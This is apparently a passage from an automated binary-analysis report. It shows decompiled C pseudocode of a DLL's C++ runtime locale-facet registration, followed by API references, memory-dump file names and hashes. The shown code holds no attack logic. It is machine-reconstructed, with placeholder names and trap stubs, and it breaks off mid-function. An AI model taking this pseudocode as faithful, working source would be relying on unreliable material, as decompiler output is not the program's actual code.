																																																									_push( *((intOrPtr*)(_t814 + 8)));
																																																									_push(_t814 - 0x10);
																																																									__eflags = E6DD2162A(_t575, _t697, _t756, _t775, _t794) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										_t701 = _t814 - 0x20;
																																																										E6DCF1438(_t701);
																																																										E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																										asm("int3");
																																																										E6DD300AC(0x6dd7851f, _t575, _t775, _t794, 4);
																																																										_t795 = _t701;
																																																										 *(_t814 - 0x10) = _t795;
																																																										 *((intOrPtr*)(_t795 + 4)) =  *((intOrPtr*)(_t814 + 0xc));
																																																										_push( *((intOrPtr*)(_t814 + 0x14)));
																																																										_t259 = _t814 - 4;
																																																										 *_t259 =  *(_t814 - 4) & 0x00000000;
																																																										__eflags =  *_t259;
																																																										 *_t795 = 0x6dd7c0c4;
																																																										 *((char*)(_t795 + 0x28)) =  *((intOrPtr*)(_t814 + 0x10));
																																																										E6DD2542F(_t575, _t701, _t756, _t775, _t795,  *_t259);
																																																										return E6DD30075(_t795,  *((intOrPtr*)(_t814 + 8)));
																																																									} else {
																																																										_t775 =  *(_t814 - 0x10);
																																																										 *(_t814 - 0x10) = _t775;
																																																										 *(_t814 - 4) = 1;
																																																										E6DD16FD3(__eflags, _t775);
																																																										 *0x6dd7a26c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t775 + 4))))();
																																																										 *0x6ddd6dd0 = _t775;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t775 = _t794;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t774 =  *(_t814 - 0x10);
																																																							 *(_t814 - 0x10) = _t774;
																																																							 *(_t814 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t774);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t774 + 4))))();
																																																							 *0x6ddd6e00 = _t774;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t774 = _t793;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t773 =  *(_t814 - 0x10);
																																																				 *(_t814 - 0x10) = _t773;
																																																				 *(_t814 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t773);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t773 + 4))))();
																																																				 *0x6ddd6dcc = _t773;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t773 = _t792;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t772 =  *(_t814 - 0x10);
																																																	 *(_t814 - 0x10) = _t772;
																																																	 *(_t814 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t772);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t772 + 4))))();
																																																	 *0x6ddd6dfc = _t772;
																																																	goto L103;
																																																}
																																															} else {
																																																_t772 = _t791;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t771 =  *(_t814 - 0x10);
																																														 *(_t814 - 0x10) = _t771;
																																														 *(_t814 - 4) = 1;
																																														E6DD16FD3(__eflags, _t771);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t771 + 4))))();
																																														 *0x6ddd6de0 = _t771;
																																														goto L96;
																																													}
																																												} else {
																																													_t771 = _t790;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t770 =  *(_t814 - 0x10);
																																											 *(_t814 - 0x10) = _t770;
																																											 *(_t814 - 4) = 1;
																																											E6DD16FD3(__eflags, _t770);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t770 + 4))))();
																																											 *0x6ddd6ddc = _t770;
																																											goto L89;
																																										}
																																									} else {
																																										_t770 = _t789;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t769 =  *(_t814 - 0x10);
																																								 *(_t814 - 0x10) = _t769;
																																								 *(_t814 - 4) = 1;
																																								E6DD16FD3(__eflags, _t769);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t769 + 4))))();
																																								 *0x6ddd6db0 = _t769;
																																								goto L82;
																																							}
																																						} else {
																																							_t769 = _t788;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t768 =  *(_t814 - 0x10);
																																					 *(_t814 - 0x10) = _t768;
																																					 *(_t814 - 4) = 1;
																																					E6DD16FD3(__eflags, _t768);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t768 + 4))))();
																																					 *0x6ddd6dd8 = _t768;
																																					goto L75;
																																				}
																																			} else {
																																				_t768 = _t787;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t767 =  *(_t814 - 0x10);
																																		 *(_t814 - 0x10) = _t767;
																																		 *(_t814 - 4) = 1;
																																		E6DD16FD3(__eflags, _t767);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t767 + 4))))();
																																		 *0x6ddd6dc4 = _t767;
																																		goto L68;
																																	}
																																} else {
																																	_t767 = _t786;
																																	goto L68;
																																}
																															}
																														} else {
																															_t766 =  *(_t814 - 0x10);
																															 *(_t814 - 0x10) = _t766;
																															 *(_t814 - 4) = 1;
																															E6DD16FD3(__eflags, _t766);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t766 + 4))))();
																															 *0x6ddd6dc8 = _t766;
																															goto L61;
																														}
																													} else {
																														_t766 = _t785;
																														goto L61;
																													}
																												}
																											} else {
																												_t765 =  *(_t814 - 0x10);
																												 *(_t814 - 0x10) = _t765;
																												 *(_t814 - 4) = 1;
																												E6DD16FD3(__eflags, _t765);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t765 + 4))))();
																												 *0x6ddd6df4 = _t765;
																												goto L54;
																											}
																										} else {
																											_t765 = _t784;
																											goto L54;
																										}
																									}
																								} else {
																									_t764 =  *(_t814 - 0x10);
																									 *(_t814 - 0x10) = _t764;
																									 *(_t814 - 4) = 1;
																									E6DD16FD3(__eflags, _t764);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t764 + 4))))();
																									 *0x6ddd6df8 = _t764;
																									goto L47;
																								}
																							} else {
																								_t764 = _t783;
																								goto L47;
																							}
																						}
																					} else {
																						_t763 =  *(_t814 - 0x10);
																						 *(_t814 - 0x10) = _t763;
																						 *(_t814 - 4) = 1;
																						E6DD16FD3(__eflags, _t763);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t763 + 4))))();
																						 *0x6ddd6dc0 = _t763;
																						goto L40;
																					}
																				} else {
																					_t763 = _t782;
																					goto L40;
																				}
																			}
																		} else {
																			_t762 =  *(_t814 - 0x10);
																			 *(_t814 - 0x10) = _t762;
																			 *(_t814 - 4) = 1;
																			E6DD16FD3(__eflags, _t762);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t762 + 4))))();
																			 *0x6ddd6df0 = _t762;
																			goto L33;
																		}
																	} else {
																		_t762 = _t781;
																		goto L33;
																	}
																}
															} else {
																_t761 =  *(_t814 - 0x10);
																 *(_t814 - 0x10) = _t761;
																 *(_t814 - 4) = 1;
																E6DD16FD3(__eflags, _t761);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t761 + 4))))();
																 *0x6ddd6dbc = _t761;
																goto L26;
															}
														} else {
															_t761 = _t780;
															goto L26;
														}
													}
												} else {
													_t760 =  *(_t814 - 0x10);
													 *(_t814 - 0x10) = _t760;
													 *(_t814 - 4) = 1;
													E6DD16FD3(__eflags, _t760);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t760 + 4))))();
													 *0x6ddd6dec = _t760;
													goto L19;
												}
											} else {
												_t760 = _t779;
												goto L19;
											}
										}
									} else {
										_t759 =  *(_t814 - 0x10);
										 *(_t814 - 0x10) = _t759;
										 *(_t814 - 4) = 1;
										E6DD16FD3(__eflags, _t759);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t759 + 4))))();
										 *0x6ddd6db8 = _t759;
										goto L12;
									}
								} else {
									_t759 = _t778;
									goto L12;
								}
							}
						} else {
							_t758 =  *(_t814 - 0x10);
							 *(_t814 - 0x10) = _t758;
							 *(_t814 - 4) = 1;
							E6DD16FD3(__eflags, _t758);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t758 + 4))))();
							 *0x6ddd6de8 = _t758;
							goto L5;
						}
					} else {
						_t758 = _t777;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F18A
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F194
int.LIBCPMT ref: 6DD1F1AB

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

messages.LIBCPMT ref: 6DD1F1CE
std::_Facet_Register.LIBCPMT ref: 6DD1F1E5
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F205
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F223

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: 7e9bc65d8e303c89f12f6bbdce911d972ad5c57a079c6d9e4be0e4eec102130c
Instruction ID: eb2ad0df2ee027c5ab566fbc118d9f14665761bc17721e4d2df23983d9937027
Opcode Fuzzy Hash: 7e9bc65d8e303c89f12f6bbdce911d972ad5c57a079c6d9e4be0e4eec102130c
Instruction Fuzzy Hash: 5E119E76908129CBCF01FBA4EC50AFDB775EF85324F26040AF620AB291DB7499018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F0DD, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F0DD(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t279;
				signed int _t280;
				void* _t292;
				void* _t305;
				void* _t318;
				void* _t331;
				void* _t344;
				void* _t357;
				void* _t370;
				void* _t383;
				void* _t396;
				void* _t409;
				void* _t422;
				void* _t435;
				void* _t448;
				void* _t461;
				void* _t474;
				void* _t487;
				void* _t500;
				void* _t513;
				signed int _t739;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				signed int _t829;
				signed int _t830;
				signed int _t831;
				signed int _t832;
				signed int _t833;
				signed int _t834;
				signed int _t835;
				signed int _t836;
				signed int _t837;
				signed int _t838;
				void* _t858;

				_t797 = __edx;
				_t606 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t858 - 0x14, 0);
				_t819 =  *0x6ddd6dd4; // 0x0
				 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
				 *(_t858 - 0x10) = _t819;
				_t279 = E6DCF161C(0x6ddd6b28);
				_t609 =  *((intOrPtr*)(_t858 + 8));
				_t280 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t279);
				_t799 = _t280;
				if(_t280 != 0) {
					L5:
					E6DD166BA(_t858 - 0x14);
					return E6DD30075(_t799);
				} else {
					if(_t819 == 0) {
						_push( *((intOrPtr*)(_t858 + 8)));
						_push(_t858 - 0x10);
						__eflags = E6DD20E47(__ebx, _t609, __edx, _t799, _t819) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t858 - 0x20);
							E6DD33D74(_t858 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t799, _t819, 0x14);
							E6DD16653(_t858 - 0x14, 0);
							_t820 =  *0x6ddd6de8; // 0x0
							 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
							 *(_t858 - 0x10) = _t820;
							_t292 = E6DCF161C(0x6ddd6d94);
							_t616 =  *((intOrPtr*)(_t858 + 8));
							_t800 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t292);
							__eflags = _t800;
							if(_t800 != 0) {
								L12:
								E6DD166BA(_t858 - 0x14);
								return E6DD30075(_t800);
							} else {
								__eflags = _t820;
								if(_t820 == 0) {
									_push( *((intOrPtr*)(_t858 + 8)));
									_push(_t858 - 0x10);
									__eflags = E6DD20EB7(_t606, _t616, __edx, _t800, _t820) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t858 - 0x20);
										E6DD33D74(_t858 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t606, _t800, _t820, 0x14);
										E6DD16653(_t858 - 0x14, 0);
										_t821 =  *0x6ddd6db8; // 0x0
										 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
										 *(_t858 - 0x10) = _t821;
										_t305 = E6DCF161C(0x6ddd6d6c);
										_t623 =  *((intOrPtr*)(_t858 + 8));
										_t801 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t305);
										__eflags = _t801;
										if(_t801 != 0) {
											L19:
											E6DD166BA(_t858 - 0x14);
											return E6DD30075(_t801);
										} else {
											__eflags = _t821;
											if(_t821 == 0) {
												_push( *((intOrPtr*)(_t858 + 8)));
												_push(_t858 - 0x10);
												__eflags = E6DD20F1F(_t606, _t623, __edx, _t801, _t821) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t858 - 0x20);
													E6DD33D74(_t858 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t606, _t801, _t821, 0x14);
													E6DD16653(_t858 - 0x14, 0);
													_t822 =  *0x6ddd6dec; // 0x0
													 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
													 *(_t858 - 0x10) = _t822;
													_t318 = E6DCF161C(0x6ddd6d98);
													_t630 =  *((intOrPtr*)(_t858 + 8));
													_t802 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t318);
													__eflags = _t802;
													if(_t802 != 0) {
														L26:
														E6DD166BA(_t858 - 0x14);
														return E6DD30075(_t802);
													} else {
														__eflags = _t822;
														if(_t822 == 0) {
															_push( *((intOrPtr*)(_t858 + 8)));
															_push(_t858 - 0x10);
															__eflags = E6DD20F87(_t606, _t630, _t797, _t802, _t822) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t858 - 0x20);
																E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t606, _t802, _t822, 0x14);
																E6DD16653(_t858 - 0x14, 0);
																_t823 =  *0x6ddd6dbc; // 0x0
																 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																 *(_t858 - 0x10) = _t823;
																_t331 = E6DCF161C(0x6ddd6d70);
																_t637 =  *((intOrPtr*)(_t858 + 8));
																_t803 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t331);
																__eflags = _t803;
																if(_t803 != 0) {
																	L33:
																	E6DD166BA(_t858 - 0x14);
																	return E6DD30075(_t803);
																} else {
																	__eflags = _t823;
																	if(_t823 == 0) {
																		_push( *((intOrPtr*)(_t858 + 8)));
																		_push(_t858 - 0x10);
																		__eflags = E6DD20FEF(_t606, _t637, _t797, _t803, _t823) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t858 - 0x20);
																			E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t606, _t803, _t823, 0x14);
																			E6DD16653(_t858 - 0x14, 0);
																			_t824 =  *0x6ddd6df0; // 0x0
																			 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																			 *(_t858 - 0x10) = _t824;
																			_t344 = E6DCF161C(0x6ddd6d9c);
																			_t644 =  *((intOrPtr*)(_t858 + 8));
																			_t804 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t344);
																			__eflags = _t804;
																			if(_t804 != 0) {
																				L40:
																				E6DD166BA(_t858 - 0x14);
																				return E6DD30075(_t804);
																			} else {
																				__eflags = _t824;
																				if(_t824 == 0) {
																					_push( *((intOrPtr*)(_t858 + 8)));
																					_push(_t858 - 0x10);
																					__eflags = E6DD21057(_t606, _t644, _t797, _t804, _t824) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t858 - 0x20);
																						E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t606, _t804, _t824, 0x14);
																						E6DD16653(_t858 - 0x14, 0);
																						_t825 =  *0x6ddd6dc0; // 0x0
																						 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																						 *(_t858 - 0x10) = _t825;
																						_t357 = E6DCF161C(0x6ddd6d74);
																						_t651 =  *((intOrPtr*)(_t858 + 8));
																						_t805 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t357);
																						__eflags = _t805;
																						if(_t805 != 0) {
																							L47:
																							E6DD166BA(_t858 - 0x14);
																							return E6DD30075(_t805);
																						} else {
																							__eflags = _t825;
																							if(_t825 == 0) {
																								_push( *((intOrPtr*)(_t858 + 8)));
																								_push(_t858 - 0x10);
																								__eflags = E6DD210BF(_t606, _t651, _t797, _t805, _t825) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t858 - 0x20);
																									E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t606, _t805, _t825, 0x14);
																									E6DD16653(_t858 - 0x14, 0);
																									_t826 =  *0x6ddd6df8; // 0x0
																									 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																									 *(_t858 - 0x10) = _t826;
																									_t370 = E6DCF161C(0x6ddd6da4);
																									_t658 =  *((intOrPtr*)(_t858 + 8));
																									_t806 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t370);
																									__eflags = _t806;
																									if(_t806 != 0) {
																										L54:
																										E6DD166BA(_t858 - 0x14);
																										return E6DD30075(_t806);
																									} else {
																										__eflags = _t826;
																										if(_t826 == 0) {
																											_push( *((intOrPtr*)(_t858 + 8)));
																											_push(_t858 - 0x10);
																											__eflags = E6DD21127(_t606, _t658, _t797, _t806, _t826) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t858 - 0x20);
																												E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t606, _t806, _t826, 0x14);
																												E6DD16653(_t858 - 0x14, 0);
																												_t827 =  *0x6ddd6df4; // 0x0
																												 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																												 *(_t858 - 0x10) = _t827;
																												_t383 = E6DCF161C(0x6ddd6da0);
																												_t665 =  *((intOrPtr*)(_t858 + 8));
																												_t807 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t383);
																												__eflags = _t807;
																												if(_t807 != 0) {
																													L61:
																													E6DD166BA(_t858 - 0x14);
																													return E6DD30075(_t807);
																												} else {
																													__eflags = _t827;
																													if(_t827 == 0) {
																														_push( *((intOrPtr*)(_t858 + 8)));
																														_push(_t858 - 0x10);
																														__eflags = E6DD211AB(_t606, _t665, _t797, _t807, _t827) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t858 - 0x20);
																															E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t606, _t807, _t827, 0x14);
																															E6DD16653(_t858 - 0x14, 0);
																															_t828 =  *0x6ddd6dc8; // 0x0
																															 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																															 *(_t858 - 0x10) = _t828;
																															_t396 = E6DCF161C(0x6ddd6d7c);
																															_t672 =  *((intOrPtr*)(_t858 + 8));
																															_t808 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t396);
																															__eflags = _t808;
																															if(_t808 != 0) {
																																L68:
																																E6DD166BA(_t858 - 0x14);
																																return E6DD30075(_t808);
																															} else {
																																__eflags = _t828;
																																if(_t828 == 0) {
																																	_push( *((intOrPtr*)(_t858 + 8)));
																																	_push(_t858 - 0x10);
																																	__eflags = E6DD21230(_t606, _t672, _t797, _t808, _t828) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t858 - 0x20);
																																		E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t606, _t808, _t828, 0x14);
																																		E6DD16653(_t858 - 0x14, 0);
																																		_t829 =  *0x6ddd6dc4; // 0x0
																																		 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																		 *(_t858 - 0x10) = _t829;
																																		_t409 = E6DCF161C(0x6ddd6d78);
																																		_t679 =  *((intOrPtr*)(_t858 + 8));
																																		_t809 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t409);
																																		__eflags = _t809;
																																		if(_t809 != 0) {
																																			L75:
																																			E6DD166BA(_t858 - 0x14);
																																			return E6DD30075(_t809);
																																		} else {
																																			__eflags = _t829;
																																			if(_t829 == 0) {
																																				_push( *((intOrPtr*)(_t858 + 8)));
																																				_push(_t858 - 0x10);
																																				__eflags = E6DD212B4(_t606, _t679, _t797, _t809, _t829) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t858 - 0x20);
																																					E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t606, _t809, _t829, 0x14);
																																					E6DD16653(_t858 - 0x14, 0);
																																					_t830 =  *0x6ddd6dd8; // 0x0
																																					 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																					 *(_t858 - 0x10) = _t830;
																																					_t422 = E6DCF161C(0x6ddd6d84);
																																					_t686 =  *((intOrPtr*)(_t858 + 8));
																																					_t810 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t422);
																																					__eflags = _t810;
																																					if(_t810 != 0) {
																																						L82:
																																						E6DD166BA(_t858 - 0x14);
																																						return E6DD30075(_t810);
																																					} else {
																																						__eflags = _t830;
																																						if(_t830 == 0) {
																																							_push( *((intOrPtr*)(_t858 + 8)));
																																							_push(_t858 - 0x10);
																																							__eflags = E6DD21339(_t606, _t686, _t797, _t810, _t830) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t858 - 0x20);
																																								E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t606, _t810, _t830, 0x14);
																																								E6DD16653(_t858 - 0x14, 0);
																																								_t831 =  *0x6ddd6db0; // 0x0
																																								 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																								 *(_t858 - 0x10) = _t831;
																																								_t435 = E6DCF161C(0x6ddd6d64);
																																								_t693 =  *((intOrPtr*)(_t858 + 8));
																																								_t811 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t435);
																																								__eflags = _t811;
																																								if(_t811 != 0) {
																																									L89:
																																									E6DD166BA(_t858 - 0x14);
																																									return E6DD30075(_t811);
																																								} else {
																																									__eflags = _t831;
																																									if(_t831 == 0) {
																																										_push( *((intOrPtr*)(_t858 + 8)));
																																										_push(_t858 - 0x10);
																																										__eflags = E6DD213A1(_t606, _t693, _t797, _t811, _t831) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t858 - 0x20);
																																											E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t606, _t811, _t831, 0x14);
																																											E6DD16653(_t858 - 0x14, 0);
																																											_t832 =  *0x6ddd6ddc; // 0x0
																																											 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																											 *(_t858 - 0x10) = _t832;
																																											_t448 = E6DCF161C(0x6ddd6d88);
																																											_t700 =  *((intOrPtr*)(_t858 + 8));
																																											_t812 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t448);
																																											__eflags = _t812;
																																											if(_t812 != 0) {
																																												L96:
																																												E6DD166BA(_t858 - 0x14);
																																												return E6DD30075(_t812);
																																											} else {
																																												__eflags = _t832;
																																												if(_t832 == 0) {
																																													_push( *((intOrPtr*)(_t858 + 8)));
																																													_push(_t858 - 0x10);
																																													__eflags = E6DD21409(_t606, _t700, _t797, _t812, _t832) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t858 - 0x20);
																																														E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t606, _t812, _t832, 0x14);
																																														E6DD16653(_t858 - 0x14, 0);
																																														_t833 =  *0x6ddd6de0; // 0x0
																																														 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																														 *(_t858 - 0x10) = _t833;
																																														_t461 = E6DCF161C(0x6ddd6d8c);
																																														_t707 =  *((intOrPtr*)(_t858 + 8));
																																														_t813 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t461);
																																														__eflags = _t813;
																																														if(_t813 != 0) {
																																															L103:
																																															E6DD166BA(_t858 - 0x14);
																																															return E6DD30075(_t813);
																																														} else {
																																															__eflags = _t833;
																																															if(_t833 == 0) {
																																																_push( *((intOrPtr*)(_t858 + 8)));
																																																_push(_t858 - 0x10);
																																																__eflags = E6DD21471(_t606, _t707, _t797, _t813, _t833) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t858 - 0x20);
																																																	E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t606, _t813, _t833, 0x14);
																																																	E6DD16653(_t858 - 0x14, 0);
																																																	_t834 =  *0x6ddd6dfc; // 0x0
																																																	 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																																	 *(_t858 - 0x10) = _t834;
																																																	_t474 = E6DCF161C(0x6ddd6da8);
																																																	_t714 =  *((intOrPtr*)(_t858 + 8));
																																																	_t814 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t474);
																																																	__eflags = _t814;
																																																	if(_t814 != 0) {
																																																		L110:
																																																		E6DD166BA(_t858 - 0x14);
																																																		return E6DD30075(_t814);
																																																	} else {
																																																		__eflags = _t834;
																																																		if(_t834 == 0) {
																																																			_push( *((intOrPtr*)(_t858 + 8)));
																																																			_push(_t858 - 0x10);
																																																			__eflags = E6DD214EC(_t606, _t714, _t797, _t814, _t834) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t858 - 0x20);
																																																				E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t606, _t814, _t834, 0x14);
																																																				E6DD16653(_t858 - 0x14, 0);
																																																				_t835 =  *0x6ddd6dcc; // 0x0
																																																				 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																																				 *(_t858 - 0x10) = _t835;
																																																				_t487 = E6DCF161C(0x6ddd6d80);
																																																				_t721 =  *((intOrPtr*)(_t858 + 8));
																																																				_t815 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t487);
																																																				__eflags = _t815;
																																																				if(_t815 != 0) {
																																																					L117:
																																																					E6DD166BA(_t858 - 0x14);
																																																					return E6DD30075(_t815);
																																																				} else {
																																																					__eflags = _t835;
																																																					if(_t835 == 0) {
																																																						_push( *((intOrPtr*)(_t858 + 8)));
																																																						_push(_t858 - 0x10);
																																																						__eflags = E6DD21558(_t606, _t721, _t797, _t815, _t835) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E6DCF1438(_t858 - 0x20);
																																																							E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd783cf, _t606, _t815, _t835, 0x14);
																																																							E6DD16653(_t858 - 0x14, 0);
																																																							_t836 =  *0x6ddd6e00; // 0x0
																																																							 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																																							 *(_t858 - 0x10) = _t836;
																																																							_t500 = E6DCF161C(0x6ddd6dac);
																																																							_t728 =  *((intOrPtr*)(_t858 + 8));
																																																							_t816 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t500);
																																																							__eflags = _t816;
																																																							if(_t816 != 0) {
																																																								L124:
																																																								E6DD166BA(_t858 - 0x14);
																																																								return E6DD30075(_t816);
																																																							} else {
																																																								__eflags = _t836;
																																																								if(_t836 == 0) {
																																																									_push( *((intOrPtr*)(_t858 + 8)));
																																																									_push(_t858 - 0x10);
																																																									__eflags = E6DD215C4(_t606, _t728, _t797, _t816, _t836) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E6DCF1438(_t858 - 0x20);
